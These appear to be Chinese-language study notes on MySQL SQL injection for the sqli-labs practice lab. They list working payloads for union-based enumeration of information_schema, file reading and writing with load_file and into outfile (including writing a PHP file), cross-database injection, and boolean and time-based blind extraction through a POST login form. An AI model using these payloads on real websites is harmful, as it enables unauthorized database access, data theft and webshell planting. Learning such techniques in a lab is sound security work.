sqli-labs
获取字段数: order by x 取临界值
获取数据库表面: database()
获取数据库版本: version()
Information_schema:mysql5.0及以上版本自带数据库,它记录有当前mysql下所有数据库名,表名,列名信息
Information-schema.tables:记录表名信息的表
Information-schema.columns:记录列名信息的表
Table_schema 数据库名
Table_name 表名
Column_schema 列名
数据库中.
代表下一级的意思
常见闭合方式: ' ') ')) " ") "))
数据库用户:user()
操作系统:@@version_compile_os
Mysqi注入文件操作
Load_file() 读取函数
Into outfile 写入函数
关于网站路径的获取:
-
报错显示
-
谷歌黑客
-
读取配置文件
-
漏洞报错
-
遗留文件
-
字典猜解
注意问题:路径符号及编码
Mysql注入问题
魔术引号 magic_quotes_gpc 开关
安全函数 addslashes
编码绕过或宽字节注入
Mysql高权限跨库注入
跨库注入条件 root权限
网站A无注入点,网站B存在masql注入,网站A及网站B数据库存在统一mysql数据库中,这是我们可以利用网站B的注入点进去跨库注入获取网站A的数据
获取所有数据库名
union select schema_name,2,3,4 from information_schema.schemata
获取指定数据库下的表名信息
获取指定表名下的列名
获取指定数据
提交方式注入
POST登入框注入
sqli-labs
GET
group_concat()
:全部输出
concat_ws( , , )
一次性指定分隔符
left()函数
: left(a,b)从左侧截取a的前b位,正确返回1,错误返回0
regexp函数
: regexp 'r' 匹配r,匹配成功返回1,反之为0
用法:and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^u’ limit 0,1)–+
like函数
:与regexp相识, like 'r%' 要加百分号
substr(a,b,c)函数
: 从b位置开始,截取a字符串c位长度
ascii()函数
: 将某个字符串转化为ascii
布尔盲注(没有确切返回值)
1.burpsuite 爆破 and left((select database()),1)='s'--+
2.ascii(substr(schema_database(),1,1))>111--+ (错误)
3.ascii(substr(select schema_name from information_schema.schemata limit1
,1),1,1
))>11
load_file(' ')
读取本地文件
Into outfile
写文件
用法: select 'mysql' into outfile 'test.txt';
文件位置:D:\phpstudy_pro\Extensions\MySQL5.7.26\data 或者是
select 'mysql' into outfile 'D:\phpstudy_pro\Extensions\MySQL5.7.26\test.php ';
基于时间的盲注
IF(condition,A,B)
如果条件condition为true,则执行命令A,否则执行B
and sleep(5)
--+ 使用延迟的方法判断是否存在注入漏洞
and if(length(database())=8,1,sleep(5))--+ 判断数据库长度
if(ascii(substr((select database()),1,1))>110,1,sleep(5))--+ 判断数据库名
POST
burpsuite
注释符#
--+
仅在url中get传参是用
判断数据库长度:
uname=ain' or if(length(database()),1,sleep(5))#&passwd=admin&submit=Submit
uname=ain' or length(database())=8#&passwd=admin&submit=Submit
判断数据库名字:
uname=ain' or left((select schema_name from information_schema.schemata limit 4,1),1)='s'#&passwd=admin&submit=Submit
uname=ain' or ascii(substr((database()),1,1))='115'#&passwd=admin&submit=Submit
判断表名
uname=ain' or left((select table_name from information_schema.tables where schema_name="security" limit 0,1),1)='u'#&passwd=admin&submit=Submit
uname=ain' or ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))= '101'#&passwd=admin&submit=Submit
判断列名
uname=ain' or left((select column_name from information_schema.columns where table_name="users" limit 0,1),1)='a'#&passwd=admin&submit=Submit
判断字段内容:
uname=ain' or ascii(substr((select username from users limit 0,1),1,1))= '68'#&passwd=admin&submit=Submit
uname=ain' or left((select username from security.users limit 0,1),1)= 'a'#&passwd=admin&submit=Submit